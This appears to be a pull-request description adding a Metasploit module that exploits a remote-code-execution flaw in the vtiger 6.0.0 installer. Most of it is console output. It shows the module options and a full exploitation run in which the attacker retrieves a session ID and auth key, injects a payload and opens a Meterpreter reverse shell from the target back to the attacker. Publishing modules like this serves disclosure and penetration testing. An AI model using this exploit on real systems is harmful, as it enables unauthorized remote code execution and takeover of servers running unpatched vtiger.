Add vtiger install rce 0 day

Tested successfully on vtiger 6.0.0.

This modules exploit a vulnerability that we discover in vitger.
To test it, just install the vtiger open source from https://www.vtiger.com/open-source-downloads/ without the security patch (it's the patch for this vulnerability).

here is the option:

```
msf > use exploit/multi/http/vtiger_install_rce 
msf exploit(vtiger_install_rce) > show options

Module options (exploit/multi/http/vtiger_install_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /                yes       The base path to Vtiger
   VHOST                       no        HTTP server virtual host
```
And exploitation:

```
msf > use exploit/multi/http/vtiger_install_rce 
msf exploit(vtiger_install_rce) > set RHOST 192.168.134.45
RHOST => 192.168.134.45
msf exploit(vtiger_install_rce) > exploit

[*] Started reverse handler on myipxD:4444 
[*] Injecting payload...
[*] Retrieved Authkey : 8f3f9493cedf582547f181f1a3f56863
[*] Retrieved PHPSESSID : PHPSESSID=39679bdd53412f385b634;
[*] Executing payload...
[*] Sending stage (39848 bytes) to 192.168.134.45
[*] Meterpreter session 1 opened (myipxD:4444 -> 192.168.134.45:46751) at 2014-04-06 12:37:41 +0200
meterpreter > BOOM \o/
```